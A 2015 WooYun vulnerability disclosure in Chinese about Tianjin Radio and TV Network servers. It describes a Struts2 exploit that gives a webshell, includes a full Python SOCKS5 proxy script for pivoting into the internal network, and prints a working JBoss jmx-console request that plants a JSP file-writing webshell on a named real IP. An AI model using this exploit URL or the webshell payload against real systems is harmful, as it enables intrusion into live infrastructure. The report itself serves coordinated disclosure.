乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-04-18: 细节已通知厂商并且等待厂商处理中 2015-04-22: 厂商已经确认,细节仅向厂商公开 2015-05-02: 细节向核心白帽子及相关领域专家公开 2015-05-12: 细节向普通白帽子公开 2015-05-22: 细节向实习白帽子公开 2015-06-06: 细节向公众公开
RT
通过对www.tjbtn.net的信息收集得到了一些有用的IP。我们打开221.129.243.165天津广播电视网络有限公司,2015-2025, 版本号 myAM-1.0.0可以确定是天津广电的系统。http://221.129.243.165:8080/login.doS2漏洞秒杀该网站获取webshell
得到webshell之后我们进行内网转发。
#!/usr/bin/python # Filename s5.py # Python Dynamic Socks5 Proxy # Usage: python s5.py 1080 # Background Run: nohup python s5.py 1080 & # Email: [email protected] import socket, sys, select, SocketServer, struct, time class ThreadingTCPServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer): passclass Socks5Server(SocketServer.StreamRequestHandler): def handle_tcp(self, sock, remote): fdset = [sock, remote] while True: r, w, e = select.select(fdset, [], []) if sock in r: if remote.send(sock.recv(4096)) <= 0: break if remote in r: if sock.send(remote.recv(4096)) <= 0: break def handle(self): try: pass # print 'from ', self.client_address nothing to do. sock = self.connection # 1. Version sock.recv(262) sock.send("\x05\x00"); # 2. Request data = self.rfile.read(4) mode = ord(data[1]) addrtype = ord(data[3]) if addrtype == 1: # IPv4 addr = socket.inet_ntoa(self.rfile.read(4)) elif addrtype == 3: # Domain name addr = self.rfile.read(ord(sock.recv(1)[0])) port = struct.unpack('>H', self.rfile.read(2)) reply = "\x05\x00\x00\x01" try: if mode == 1: # 1. Tcp connect remote = socket.socket(socket.AF_INET, socket.SOCK_STREAM) remote.connect((addr, port[0])) pass # print 'To', addr, port[0] nothing do to. else: reply = "\x05\x07\x00\x01" # Command not supported local = remote.getsockname() reply += socket.inet_aton(local[0]) + struct.pack(">H", local[1]) except socket.error: # Connection refused reply = '\x05\x05\x00\x01\x00\x00\x00\x00\x00\x00' sock.send(reply) # 3. Transfering if reply[1] == '\x00': # Success if mode == 1: # 1. Tcp connect self.handle_tcp(sock, remote) except socket.error: pass #print 'error' nothing to do . except IndexError: pass def main(): filename = sys.argv[0]; if len(sys.argv)<2: print 'usage: ' + filename + ' port' sys.exit() socks_port = int(sys.argv[1]); server = ThreadingTCPServer(('', socks_port), Socks5Server) print 'bind port: %d' % socks_port + ' ok!' server.serve_forever() if __name__ == '__main__': main()
之后用Proxifier本机代理。即可内网漫游。
无法想象这个页面被劫持后会有多大的影响- -另外同网段jmx-console可直接getshellexp:
http://221.129.243.164:8080/jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=upload5warn.war&argType=java.lang.String&&arg1=shell&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%3C%25+if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b+%25%3E&argType=boolean&arg4=True
修复修复!
危害等级:高
漏洞Rank:11
确认时间:2015-04-22 10:57
CNVD确认并复现所述漏洞情况,已经转由CNCERT下发给天津分中心,由其后续协调网站管理单位处置。
暂无